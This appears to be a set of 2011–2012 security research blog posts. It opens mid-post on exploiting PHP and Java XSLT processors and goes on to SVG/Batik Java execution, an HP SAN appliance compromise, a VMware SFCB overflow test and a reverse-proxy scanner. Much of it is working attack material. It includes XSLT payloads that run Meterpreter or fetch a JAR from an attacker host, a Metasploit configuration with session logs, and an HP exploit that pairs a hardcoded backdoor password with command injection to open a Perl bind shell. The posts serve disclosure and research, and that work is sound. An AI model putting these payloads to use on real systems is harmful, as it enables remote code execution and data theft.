1 <?php 2 3 // Page header 4 echo "<html><head>\n"; 5 echo "<title>ATOM reader (PHP + XSLT)</title>\n"; 6 echo "<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'/>\n"; 7 echo "<head><body>\n"; 8 echo "This ATOM reader is coded in PHP5+XSLT, using libxslt.<br/>\n"; 9 10 // Get parameters 11 $url = $_GET['url']; 12 $xsl = $_GET['xsl']; 13 14 // Load ATOM file 15 $xmldoc = new DOMDocument(); 16 $xmldoc->load( $url ); 17 18 // Load XSLT file 19 $xsldoc = new DOMDocument(); 20 $xsldoc->load( $xsl ); 21 22 // Register PHP functions as XSLT extensions 23 $xslt = new XSLTProcessor(); 24 $xslt->registerPhpFunctions(); 25 26 // Import the stylesheet 27 $xslt->importStylesheet( $xsldoc ); 28 29 // Transform and print 30 print $xslt->transformToXML( $xmldoc ); 31 32 ?>
You may notice on line 24 a call to XSLTProcessor::registerPhpFunctions(). This is the non default setting that we will exploit. From the documentation: "PHP 5 >= 5.0.4 / Enables the ability to use PHP functions as XSLT functions".
The Java code:
1 <%@ page language="java" contentType="text/html" %>
2 <%@ page import="javax.xml.transform.*"%>
3 <%@ page import="javax.xml.transform.stream.*"%>
4 <%
5
6 // Echo some info
7 out.print("This ATOM reader is coded in JSP+XSLT, using Tomcat and Xalan-J<br/>");
8
9 // Get the parameters
10 String xmlFile = request.getParameter("url");
11 String xslFile = request.getParameter("xsl");
12
13 // Create a XSLT transformer
14 TransformerFactory tFactory = TransformerFactory.newInstance();
15
16 // Configure the XSLT stylesheet
17 Transformer transformer = tFactory.newTransformer(new StreamSource(xslFile));
18
19 // Transform the XML file
20 transformer.transform(new StreamSource(xmlFile), new StreamResult(out));
21 %>
In both applications, the "xml" parameter contains the URL of a ATOM feed (for example http://www.us-cert.gov/channels/current.atom). The "xsl" parameter contains the URL of the XSL style sheet we want to apply to the XML document.
The following one displays some basic information about the feed and its entries:
1 <xsl:stylesheet version="1.0" 2 xmlns:atom="http://www.w3.org/2005/Atom" 3 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 4 5 <!-- The "feed" tag --> 6 <xsl:template match="/atom:feed"> 7 <h1><xsl:value-of select="atom:title"/><br/></h1> 8 <xsl:apply-templates select="atom:entry"/> 9 </xsl:template> 10 11 <!-- The "entry" tags --> 12 <xsl:template match="atom:entry"> 13 <hr/>Entry #<xsl:value-of select="position()"/> 14 [<xsl:value-of select="string-length(atom:title)"/>] : 15 <pre><xsl:value-of select="atom:title"/></pre> 16 </xsl:template> 17 18 </xsl:stylesheet>
Here's a screenshot of the output (using the US-CERT feed):

OK, everything is now in order. Let's try to execute some more interesting XSLT code, for example in order to identify the underlying XSLT engine:
1 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
2 <xsl:output method="html"/>
3 <xsl:template match="/">
4 <h2>Detecting the underlying XSLT engine ...</h2>
5 <b>Version:</b> <xsl:value-of select="system-property('xsl:version')" /><br/>
6 <b>Vendor:</b> <xsl:value-of select="system-property('xsl:vendor')" /><br/>
7 <b>Vendor URL:</b> <xsl:value-of select="system-property('xsl:vendor-url')" /><br/>
8 </xsl:template>
9 </xsl:stylesheet>
The output under PHP5:

The output under Tomcat+Xalan-J:

Now, some basic high-level code displaying the current date. For this, we need to use the right namespace. For PHP, it's "http://php.net/xsl" and for Xalan-J, it's "http://xml.apache.org/xalan/java/java.*".
In PHP:
1 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
2 <xsl:template match="/">
3 <xsl:text>Current date: </xsl:text><xsl:value-of select="abc:function('date', 'F j, Y')"/>
4 </xsl:template>
5 </xsl:stylesheet>
In Java:
1 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:date="http://xml.apache.org/xalan/java/java.util.Date" version="1.0"> 2 <xsl:template match="/"> 3 <xsl:variable name="dateObject" select="date:new()"/> 4 <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/> 5 </xsl:template> 6 </xsl:stylesheet>
In order to execute arbitrary PHP code, we can try to use eval(), include() or require(). But they aren't PHP functions but constructs. Luckily, both preg_replace() and assert() are PHP functions and can be used to execute arbitrary PHP code. We now have everything needed to execute a PHP Meterpreter :-)
1 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
2 <xsl:template match="/">
3 <xsl:variable name="eval">
4 eval(base64_decode('Base64-encoded Meterpreter code'))
5 </xsl:variable>
6 <xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
7 </xsl:template>
8 </xsl:stylesheet>
We are done regarding PHP!
We'll now look to Java, where it is much more complex to go from printing the current date to executing arbitrary classes. In fact, we'll need to use reflection in order to access enough interesting Java features to download a remote Meterpreter JAR file. There's three ways to use reflection. 1) Create your own Java code accessing the key Java features (and keep this code portable across versions). That's too hard for me! 2) Use Javapayload to dynamically construct the Java code. The problem is that Metasploit doesn't include a very recent version of Javapayload. But that's fine if you're doing everything by hand 3) Use a well tested and static Java template having all the needed features and re-use it.
In the current scenario, we'll take the third option (thanks @mihi42) in order to integrate nicely with Metasploit. The result XSL style sheet is complex, but works perfectly:
1 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:j="http://xml.apache.org/xalan/java" exclude-result-prefixes="j"& gt;
2 <xsl:template match="/">
3 <xsl:variable name="url">http://attacker/eviljava/wkaLrNQj.jar</xsl:variable>
4 <xsl:variable name="arrays">rO0ABXVyAA9bTGphdmEubmV0LlVSTDtSUf0kxRtozQIAAHhwAAAAAXB1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAAA</xsl:va riable>
5 <xsl:variable name="ois" select="j:java.io.ObjectInputStream.new(j:java.io.ByteArrayInputStream.new(j:decodeBuffer(j:sun.misc.BASE64Decoder.new(),$arr ays)))" />
6 <xsl:variable name="n" select="j:get(j:java.util.HashMap.new(),'')"/>
7 <xsl:variable name="c1" select="j:getInterfaces(j:java.lang.Class.forName('java.lang.Number'))"/>
8 <xsl:variable name="c2" select="j:getInterfaces(j:java.lang.Class.forName('java.io.File'))"/>
9 <xsl:variable name="l" select="j:java.util.ArrayList.new()"/>
10 <xsl:variable name="urlarray" select="j:readObject($ois)"/>
11 <xsl:value-of select="j:java.lang.reflect.Array.set($urlarray,0,j:java.net.URL.new($url))"/>
12 <xsl:value-of select="substring(j:add($l,$urlarray),5)"/>
13 <xsl:value-of select="j:java.lang.reflect.Array.set($c1,0,j:java.lang.Class.forName('[Ljava.net.URL;'))"/>
14 <xsl:variable name="r" select="j:newInstance(j:getConstructor(j:java.lang.Class.forName('java.net.URLClassLoader'),$c1),j:toArray($l))"/>
15 <xsl:value-of select="j:clear($l)"/>
16 <xsl:value-of select="substring(j:add($l,'metasploit.Payload'),5)"/>
17 <xsl:value-of select="j:java.lang.reflect.Array.set($c1,0,j:java.lang.Class.forName('java.lang.String'))"/>
18 <xsl:variable name="z" select="j:invoke(j:getMethod(j:java.lang.Class.forName('java.lang.ClassLoader'),'loadClass',$c1),$r,j:toArray($l))"/>
19 <xsl:value-of select="j:java.lang.reflect.Array.set($c1,0,j:java.lang.Class.forName('[Ljava.lang.String;'))"/>
20 <xsl:value-of select="j:java.lang.reflect.Array.set($c2,0,j:java.lang.Class.forName('java.lang.String'))"/>
21 <xsl:value-of select="j:java.lang.reflect.Array.set($c2,1,j:java.lang.Class.forName('[Ljava.lang.Class;'))"/>
22 <xsl:value-of select="j:clear($l)"/>
23 <xsl:value-of select="substring(j:add($l,'main'),5)"/>
24 <xsl:value-of select="substring(j:add($l,$c1),5)"/>
25 <xsl:variable name="v" select="j:invoke(j:getMethod(j:java.lang.Class.forName('java.lang.Class'),'getMethod',$c2),$z,j:toArray($l))"/>
26 <xsl:value-of select="j:java.lang.reflect.Array.set($c2,0,j:java.lang.Class.forName('java.lang.Object'))"/>
27 <xsl:value-of select="j:java.lang.reflect.Array.set($c2,1,j:java.lang.Class.forName('[Ljava.lang.Object;'))"/>
28 <xsl:value-of select="j:clear($l)"/>
29 <xsl:value-of select="substring(j:add($l,j:readObject($ois)),5)"/>
30 <xsl:value-of select="j:close($ois)" />
31 <xsl:value-of select="substring(j:set($l,0,j:toArray($l)),1,0)"/>
32 <xsl:value-of select="j:add($l,0,$n)"/>
33 <xsl:value-of select="j:invoke(j:getMethod(j:java.lang.Class.forName('java.lang.reflect.Method'),'invoke',$c2),$v,j:toArray($l))"/>
34 <result>Test Complete!</result>
35 </xsl:template>
36 </xsl:stylesheet>
If we put all this logic in a dedicated Metasploit module, we end up with "generic_xslt_payloads.rb". This module is not available in trunk for the moment but you can download it from ticket #6784. Copy it to "modules/exploits/multi/misc/" and configure it using the following rc script:
# Load the module use exploit/multi/misc/generic_xslt_payloads # Configure and start the PHP version set TARGET 0 set URIPATH evilphp.xsl set PAYLOAD php/meterpreter/reverse_tcp set SRVHOST 192.168.2.218 set SRVPORT 5001 set LHOST 192.168.2.218 set LPORT 4001 exploit -j # Configure and start the Java version set TARGET 1 set URIPATH eviljava set PAYLOAD java/meterpreter/reverse_tcp set SRVHOST 192.168.2.218 set SRVPORT 5002 set LHOST 192.168.2.218 set LPORT 4002 exploit -j
You should get two jobs running:
msf exploit(generic_xslt_payloads) > jobs -l -v Jobs ==== Id Name Payload LPORT URIPATH Start Time -- ---- ------- ----- ------- ---------- 0 Exploit: multi/misc/generic_xslt_payloads php/meterpreter/reverse_tcp 4001 /evilphp.xsl Mon Jul 02 18:45:39 +0200 2012 1 Exploit: multi/misc/generic_xslt_payloads java/meterpreter/reverse_tcp 4002 /eviljava Mon Jul 02 18:45:39 +0200 2012
Then provide the link to the corresponding XSLT code to the vulnerable applications, and voilà !
msf exploit(generic_xslt_payloads) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter java/java SYSTEM @ box08 192.168.2.218:4002 -> 192.168.2.108:1707 (192.168.2.108) 2 meterpreter php/php www-data (33) @ box13 192.168.2.218:4001 -> 192.168.2.113:43398 (192.168.2.113)
0wn3d !
It should be noted that 1) porting the Java version from Xalan-J to Saxon should be trivial 2) some client-side softwares like XMLSpy allow to execute Java code from XSLT. The Metasploit module was demonstrated during the HackInTheBox conference in Amsterdam, and the video is available on Youtube (this demo starts at minute 48).
vendredi 11 mai 2012, 17:33:58 (UTC+0200)
SVG files and Java code execution
I recently had to audit an application using the Batik framework to convert SVG files to PNG images. Given that the SVG 1.1 and SVG Tiny 1.2 specifications allow to call Java code from the SVG file and that Batik supports this feature, I had to give it an in-depth look.
The concept (you can read the links above for more details) is to link from the SVG file to a specifically crafted JAR file. DOM events will accordingly trigger execution of Java code. Some (non standardized) security restrictions may apply. Let's try to create a PoC ...
First, we need a minimalist SVG file referencing the JAR file:
$ cat - > evil.svg
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
version="1.0">
<script type="application/java-archive" xlink:href="http://somewhere/evil.jar"/>
<text>Static text ...</text>
</svg>
^D
Now, we need to generate the JAR. The final result should be something like that:
$ unzip -l evil.jar
Archive: evil.jar
Length Date Time Name
--------- ---------- ----- ----
0 2012-05-10 18:28 META-INF/
68 2012-05-10 18:28 META-INF/MANIFEST.MF
0 2012-05-10 17:50 com/
0 2001-03-19 21:27 com/pwnage/
0 2012-05-10 18:25 com/pwnage/svg/
742 2012-05-10 18:22 com/pwnage/svg/SVGHandler.class
Creation of SVGHandler.java:
$ mkdir -p com/pwnage/svg
$ cat - > com/pwnage/svg/SVGHandler.java
package com.pwnage.svg;
import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;
import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;
public class SVGHandler implements EventListenerInitializer {
public SVGHandler() {
}
public void initializeEventListeners(SVGDocument document) {
SVGSVGElement root = document.getRootElement();
EventListener listener = new EventListener() {
public void handleEvent(Event event) {
System.out.println("Oh yeah, inside SVGLoad !"); // Our 31337 payload ;-)
}
};
root.addEventListener("SVGLoad", listener, false);
}
}
^D
Some specific entries are needed in the MANIFEST.MF file:
$ cat - > My_Manifest Manifest-Version: 1.0 SVG-Handler-Class: com.pwnage.svg.SVGHandler ^D
Now compile to .class and create the JAR:
$ javac -cp /usr/share/java/xml-apis-ext.jar com/pwnage/svg/SVGHandler.java $ jar cmf My_Manifest evil.jar com/
We are ready to test the two main tools of the Batik framwork, Squiggle the SVG Browser and SVG Rasterizer !
The default security policy in Squiggle is to execute Java code if the JAR has the same origin than the SVG file (or is embedded):

Let's put the SVG and JAR files on a remote web server and request the SVG from Squiggle. It works: the string "Oh yeah, inside SVGLoad !" is displayed to the console and we get the following Apache logs:
192.168.166.9 - - [10/May/2012:23:16:39 +0200] "GET /evil.svg HTTP/1.1" 200 811 "-" "Batik/1.7" 192.168.166.9 - - [10/May/2012:23:16:40 +0200] "GET /evil.jar HTTP/1.1" 200 2055 "-" "Java/1.6.0_26"
On the contrary, Rasterizer by default neither trigger the "SVGLoad" event or execute some Java code. The following options are needed:
$ java -jar batik-rasterizer.jar -onload -scripts application/java-archive evil.svg About to transcode 1 SVG file(s) Converting evil.svg to evil.png ... Oh yeah, inside SVGLoad ! ... success
TL;DR: Batik Rasterizer, used in a way similar to the export module of HighCharts.com, is safe by default. But beware if your application uses the Bridge or Swing components. And of course, do not browse untrusted SVG files using Squiggle !
vendredi 17 février 2012, 16:34:01 (UTC+0100)
Compromising HP SAN appliances
In November 2011, HP published an advisory regarding their "HP StorageWorks P4000 Virtual SAN Appliance". However, these vulnerabilities are located in the "Centralized Management Console" (CMC) daemon which is used in the full "P4000 G2 SAN" range of products (including the P4300, P4500 and P4800 physical SAN devices). This post describes the process followed to identify these vulnerabilities.
First, what is this product ? HP VSA is a virtualized SAN infrastructure for VMware ESX or Microsoft Hyper-V environments. VSA consolidates server disk drives and external storage into a single virtual iSCSI SAN. This means that if you compromise the appliance, you also compromise any data stored in the SAN ! Next, where can we find the target software ? HP proposes a full trial version here. My tests were done on version 696_10503. The version now available is 696_10537 (probably safe but untested).
We now have a working VM with the HP VSA demo. The first step is to create some administration traffic (on port TCP/1383) using the Windows client, sniff it and try to reverse the protocol in order to later fuzz it. The first packets of the exchange are the following :
00000000 00 00 00 01 00 00 00 01 00 00 00 13 00 00 00 13 ........ ........
00000010 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 ........ ........
00000020 52 65 71 75 65 73 74 20 74 72 61 6e 73 66 6f 72 Request transfor
00000030 6d 73 00 ms.
00000000 00 00 00 01 00 00 00 01 00 00 00 19 00 00 00 13 ........ ........
00000010 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 ........ ........
00000020 52 65 73 70 6f 6e 73 65 20 74 72 61 6e 73 66 6f Response transfo
00000030 72 6d 73 3a 20 58 4f 52 00 rms: XOR .
00000033 00 00 00 01 00 00 00 01 00 00 00 13 00 00 00 13 ........ ........
00000043 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 ........ ........
00000053 4e 65 77 20 74 72 61 6e 73 66 6f 72 6d 3a 20 58 New tran sform: X
00000063 4f 52 00 OR.
00000039 00 00 00 01 00 00 00 01 00 00 00 15 00 00 00 13 ........ ........
00000049 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 ........ ........
00000059 4e 65 77 20 74 72 61 6e 73 66 6f 72 6d 20 4f 4b New tran sform OK
00000069 20 58 4f 52 00 XOR.
Based on this small exchange, we can detect a classic structure with a header followed by an ASCIIZ string.
We can suppose that the structure of the header is the following
:
- the first 8 bytes are static : "00 00 00 01 00 00 00 01" (offset
0x00)
- the next 4 bytes represent the size of the ASCIIZ string (offset
0x08)
- the next 4 bytes are static : "00 00 00 13" (offset 0x0c)
- the next 16 bytes are static : "00 00 00 00 00 00 00 00 00 00 00
10 00 00 00 00" (offset 0x10)
From this point, the traffic is XOR-encoded :
00000066 00 00 00 01 00 00 00 01 00 00 00 35 00 00 00 35 ........ ...5...5
00000076 00 00 00 00 00 00 00 00 00 00 00 14 00 00 00 00 ........ ........
00000086 3e 3d 35 3b 3c 68 7d 33 36 3f 3b 3c 7d 30 30 30 >=5;<h}36 ?;<}000
00000096 30 30 30 30 30 7d 04 37 20 21 3b 3d 3c 72 70 6a 00000}.7 !;=<rpj
000000A6 7c 67 7c 62 62 70 7e 72 10 27 3b 3e 36 72 70 62 |g|bbp~r. ';>6rpb
000000B6 61 63 61 70 00 acap.
0000006E 00 00 00 00 00 00 00 01 00 00 00 0a 00 00 00 00 ........ ........
0000007E 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ........ ........
0000008E 1d 19 68 72 1e 3d 35 3b 3c 00 ..hr.=5; <.
Note : attentive readers have probably noticed that the format of the headers is now slighlty different, in both request and response. In fact, HP VSA isn't picky at all about the format of the header, as far as the size of the content is exact.
In order to go further, we need the XOR key. Given that the first XOR-encoded packet is the login request, we sent a request with a password string of "bbbbbbbb" and looked for a repetitive pattern (see above, from offset 0x66 to 0xBA). Do you see it ?
..............
OK, we have a string of 8 x "0" (ASCII 0x30) which may match the 8 x "b" (ASCII 0x62) if the key is 1 byte long. Quick calculation : 0x30 ^ 0x62 = 0x52. Let's try to verify it by trying to decode tshark (command-line version of Wireshark) output by piping it to a minimalist Python shell like this one :
import sys
for line in sys.stdin:
print '++ ',
print ''.join( [ chr(ord(c) ^ 0x52) for c in line ] )
And it works ! ;-) We now know that our login request has the
following format : "login:/MY_USER/MY_PASSSWD/Version "8.5.0"" and
we can code a basic client fuzzer. After a few runs, the
target process crashes while parsing overlong passwords. Debugging
will reveal that sscanf() is used with fixed-length stack buffers
and no length checks. The sscanf() pattern is "/%[^/]/%[^/]/%s %s"
with arguments 1, 2 and 3 of size 1024. Argument 4 is smaller
(<= 0x50 bytes).
A pre-authentication stack-based overflow is already a cool finding, but the disassembly will reveal something much more easy to exploit : hardcoded credentials !
This is the vulnerable call to sscanf():

The format parameter is stored in the .rodata section, and a very weird string ("L0CAlu53R") is located next to it and used in the same function:

This string is a magic password, working for every account !

Let's recap : we can exploit a pre-auth buffer-overflow and gain OS-level privileges or use the hard-coded password to gain application-level privileges. The easiest way (aka "attacker's path of least resistance") to have both would be to switch from application-level privileges (no memory corruption, 100% reliable) to OS-level privileges with another vulnerability involving manipulation of the file-system or commands execution.
So we browsed every part of the Windows client in order to explore every available feature. And we found a "Check connectivity" feature using "ping" without sanitizing the parameters.
The command has the following format :
get:/lhn/public/network/ping/<field1>/<field2>/ <field1> : IP address of the interface from which ICMP packets are send <field2> : target IP address or hostname
Given that Perl is installed on the appliance, we use the classic Metasploit payload to bind a shell on port TCP/12345 :
def send_Login():
# BACKDOOR
data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"'
send_packet(data)
def send_Exec():
# METASPLOIT PAYLOAD
cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept; \
$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
# COMMAND INJECTION BUG
data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'
# EXPLOIT
zprint('Now connect to port 12345 of machine ' + str(HOST))
send_packet(data)
Et voilà, mission accomplished ! We fully compromised the SAN appliance, allowing unauthorized acces to every data stored inside. Plausible next moves : reconfigure some interesting LUN, mount them and steal data (NTLM hashes, configuration files, raw database files, ...). A PoC code is available : hydragen.py.
samedi 26 novembre 2011, 12:33:51 (UTC+0100)
Regarding VMSA-2011-0013 ...
Just a quick blog-post in order to publically describe some facts about the recent VMware patch for ESX and ESXi (VMSA-2011-0013) ...
I published in June 2010 two pre-authentication bugs in SFCB : one heap overflow (CVE-2010-1937) and one integer overflow (CVE-2010-2054). The first bug was silently patched by VMware in previous versions of their products and will not be discussed further. But the story behind the second one is somewhat funny ;-)
So, in June 2010, the latest available version of ESX and ESXi was 4.0. This version doesn't include a vulnerable version of SFCB. It uses v1.3.3 but CVE-2010-2054 was introduced in v1.3.4. So far so good ... But one month later, VMware ESX and ESXi 4.1 was released, including sfcbd v1.3.4 (the vulnerable one). And in October 2011, a patch was finally published.
However, the question is : is an unpatched version of ESX or ESXi 4.0 really exploitable ? I did some testing on "VMware ESXi 4.1.0 build-260247", that I'll show in details now.
First, the testing script :
$ cat cl.sh
#!/bin/bash
XX="[==]"
IP=$1
CL=$2
SZ=$3
echo "$XX Target : $IP"
echo "$XX Claimed Content-Length : $CL"
echo "$XX Real Body Length : $SZ"
echo;
(echo "POST /cimom HTTP/1.1"; \
echo "Content-Length: $CL"; \
echo; \
perl -e "print 'C'x$SZ" \
echo; \
) | ncat --ssl $IP 5989
Let's go straight to the exploitable situation, using a value near UINT_MAX :
./cl.sh 192.168.8.2 4294967292 10 [==] Target : 192.168.8.2 [==] Claimed Content-Length : 4294967292 [==] Real Body Length : 10 HTTP/1.1 413 Request Entity Too Large Server: sfcHttpd Content-Length: 0
Doh, a 413 status code :-( Not the expected answer.
After some additonal testing :
$ ./cl.sh 192.168.8.2 100000000 10 [==] Target : 192.168.8.2 [==] Claimed Content-Length : 100000000 [==] Real Body Length : 10 HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="cimom" Server: sfcHttpd Content-Length: 0
$ ./cl.sh 192.168.8.2 100000001 10 [==] Target : 192.168.8.2 [==] Claimed Content-Length : 100000001 [==] Real Body Length : 10 HTTP/1.1 413 Request Entity Too Large Server: sfcHttpd Content-Length: 0
It seems that VMware uses a hard-coded value of 100.000.000 for
httpMaxContentLength.
Adding "httpMaxContentLength=0" to the file /etc/sfcb/sfcb.cfg will
bypass this verification and allow to crash the process :
$ ./cl.sh 192.168.8.2 100000001 10 [==] Target : 192.168.8.2 [==] Claimed Content-Length : 100000001 [==] Real Body Length : 10 HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="cimom" Server: sfcHttpd Content-Length: 0
Not an 413, this seems fine ! Now with a value near UINT_MAX :
$ ./cl.sh 192.168.8.2 4294967292 10 [==] Target : 192.168.8.2 [==] Claimed Content-Length : 4294967292 [==] Real Body Length : 10 HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="cimom" Server: sfcHttpd Content-Length: 0
And on the ESXi side :
*** glibc detected *** sfcbd: free(): invalid pointer: 0x089654f8 *** ======= Backtrace: ========= /lib/libc.so.6[0x1e07119d] /lib/libc.so.6(cfree+0x90)[0x1e074d90] /lib/libsfcHttpAdapter.so.0[0x1dddc3b4] /lib/libsfcHttpAdapter.so.0[0x1dddf690] /lib/libsfcHttpAdapter.so.0[0x1dde052e] /lib/libsfcHttpAdapter.so.0(httpDaemon+0x133b)[0x1dde1aba] sfcbd[0x8930f67] sfcbd[0x8931b5c] /lib/libc.so.6(__libc_start_main+0xdc)[0x1e01df0c] sfcbd[0x89307b1] ======= Memory map: ========
In conclusion : by default, ESXi 4.1 doesn't seem to be exploitable. But the vulnerable code is here, and is reachable if a special value (zero) is defined for the "httpMaxContentLength" configuration entry. If you use ESX (untested), you should do your own testing or just install the patch.
samedi 12 novembre 2011, 22:10:02 (UTC+0100)
Traceroute-like HTTP scanner
Side note : I just switched to writing my blog posts in english. I hope they will still be understandable ;-) My french readers are probably fine with this language and should not be negatively impacted by this change.
During some recent pentests, I used the "Max-Forwards" trick to identify some "hidden" reverse HTTP proxies. My customers were surprised by the information found and asked me a copy of the tool. I then choose to take some time to polish and release it. Btw, thanks to Julien Cayssol for the initial versions !
Some background information about the Max-Forwards trick ... The RFC 2616 (HTTP/1.1) and 3261 (SIP) define this HTTP header (resp. in section 14.31 and 8.1.1.6) :
14.31 Max-Forwards
The Max-Forwards request-header field provides a mechanism with the
TRACE (section 9.8) and OPTIONS (section 9.2) methods to limit the
number of proxies or gateways that can forward the request to the
next inbound server. This can be useful when the client is attempting
to trace a request chain which appears to be failing or looping in
mid-chain.
Max-Forwards = "Max-Forwards" ":" 1*DIGIT
The Max-Forwards value is a decimal integer indicating the remaining
number of times this request message may be forwarded.
Each proxy or gateway recipient of a TRACE or OPTIONS request
containing a Max-Forwards header field MUST check and update its
value prior to forwarding the request. If the received value is zero
(0), the recipient MUST NOT forward the request; instead, it MUST
respond as the final recipient. If the received Max-Forwards value is
greater than zero, then the forwarded message MUST contain an updated
Max-Forwards field with a value decremented by one (1).
8.1.1.6 Max-Forwards The Max-Forwards header field MAY be ignored for all other methods defined by this specification and for any extension methods for which it is not explicitly referred to as part of that method definition. The Max-Forwards header field serves to limit the number of hops a request can transit on the way to its destination. It consists of an integer that is decremented by one at each hop. If the Max-Forwards value reaches 0 before the request reaches its destination, it will be rejected with a 483(Too Many Hops) error response. A UAC MUST insert a Max-Forwards header field into each request it originates with a value that SHOULD be 70. This number was chosen to be sufficiently large to guarantee that a request would not be dropped in any SIP network when there were no loops, but not so large as to consume proxy resources when a loop does occur. Lower values should be used with caution and only in networks where topologies are known by the UA.
But this is RFC, not a real life implementation. In fact, the TRACE method is often blocked at the perimeter and we need some smarter ways to identify the reverse proxies. Given my experience, using the TRACE and GET methods is in most cases sufficient to collect weird behaviors. These behaviors are then checked against a few heuristic rules in order to calculate a score. A score greater than zero indicates a possible reverse proxy.
The heuristic rules used are the following :
- A 502 status code is returned (RFC 2616, section 14.31)
- A 483 status code is returned (RFC 3261, section 8.1.1.6)
- When using TRACE, the body contains the 'X-Forwarded-For' string
- 'Via' or 'X-Via' headers are detected
- Some fields are different between hops :
-
- HTTP status codes
- 'Server' headers
- 'Content-Type' headers
- 'Via' headers
- HTML titles
- HTML 'address' tags
- 'X-Forwarded-For' values in body
The tool was run against the Alexa's Top 100, using the TRACE and GET methods. Some interesting results were identified and we will now examine them.
Target : www.ask.com / Method : TRACE
[==] Target URL : http://www.ask.com:80/
[==] Used method : TRACE
[==] Max number of hops : 3
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Title:
Hop #0 : Access Denied
Hop #1 : Access Denied
Hop #2 : Access Denied
Server:
Hop #0 : AkamaiGHost
Hop #1 : AkamaiGHost
Hop #2 : AkamaiGHost
Content-Type:
Hop #0 : text/html
Hop #1 : text/html
Hop #2 : text/html
StatusCode:
Hop #0 : 403 Forbidden
Hop #1 : 403 Forbidden
Hop #2 : 403 Forbidden
[--] No reverse proxy
Nothing interesting was detected :-( However, if we switch to GET :
[==] Target URL : http://www.ask.com:80/
[==] Used method : GET
[==] Max number of hops : 3
[++] HTTP 502 : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Title:
Hop #0 : 502 Proxy Error
Hop #1 : Undef
Hop #2 : Ask.com Web Search
Server:
Hop #0 : Undef
Hop #1 : Apache
Hop #2 : Apache
Content-Type:
Hop #0 : text/html; charset=iso-8859-1
Hop #1 : text/html
Hop #2 : text/html;charset=UTF-8
StatusCode:
Hop #0 : 502 Bad Gateway
Hop #1 : 500 Internal Server Error
Hop #2 : 200 OK
[++] Found a reverse proxy, score is 8
The overall score is now 8 and we can assume there's probably 2 reverse-proxies (hops #1 and #2) ! If we try 't.co', we see that TRACE is blocked. However, we have a score of 1 because of the change in 'Server' headers :
[==] Target URL : http://www.t.co:80/
[==] Used method : TRACE
[==] Max number of hops : 3
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Title:
Hop #0 : 405 Method Not Allowed
Hop #1 : 405 Method Not Allowed
Hop #2 : 405 Method Not Allowed
Server:
Hop #0 : Apache
Hop #1 : hi
Hop #2 : hi
Content-Type:
Hop #0 : text/html; charset=iso-8859-1
Hop #1 : text/html; charset=iso-8859-1
Hop #2 : text/html; charset=iso-8859-1
StatusCode:
Hop #0 : 405 Method Not Allowed
Hop #1 : 405 Method Not Allowed
Hop #2 : 405 Method Not Allowed
[++] Found a reverse proxy, score is 1
't.co' again, now using GET :
[==] Target URL : http://www.t.co:80/
[==] Used method : GET
[==] Max number of hops : 3
[++] HTTP 502 : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Title:
Hop #0 : Twitter / Over capacity
Hop #1 : t.co / Twitter
Hop #2 : t.co / Twitter
Server:
Hop #0 : Apache
Hop #1 : hi
Hop #2 : hi
Content-Type:
Hop #0 : text/html; charset=UTF-8
Hop #1 : text/html; charset=utf-8
Hop #2 : text/html; charset=utf-8
StatusCode:
Hop #0 : 502 Bad Gateway
Hop #1 : 200 OK
Hop #2 : 200 OK
[++] Found a reverse proxy, score is 5
Did you notice the case mismatch between 'utf8' and 'UTF8' ? ;-) There's too some situations where internal IP or hostnames are leaked ! First example, 'typepad.com' and 10.17.*.* :
[==] Target URL : http://www.typepad.com:80/
[==] Used method : TRACE
[==] Max number of hops : 3
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
X-Fwd:
Hop #0 : [Your_IP], 10.17.141.102
Hop #1 : [Your_IP], 10.17.141.102
Hop #2 : [Your_IP], 10.17.141.102
Server:
Hop #0 : Apache
Hop #1 : Apache
Hop #2 : Apache
Content-Type:
Hop #0 : message/http
Hop #1 : message/http
Hop #2 : message/http
StatusCode:
Hop #0 : 200 OK
Hop #1 : 200 OK
Hop #2 : 200 OK
[++] Found a reverse proxy, score is 3
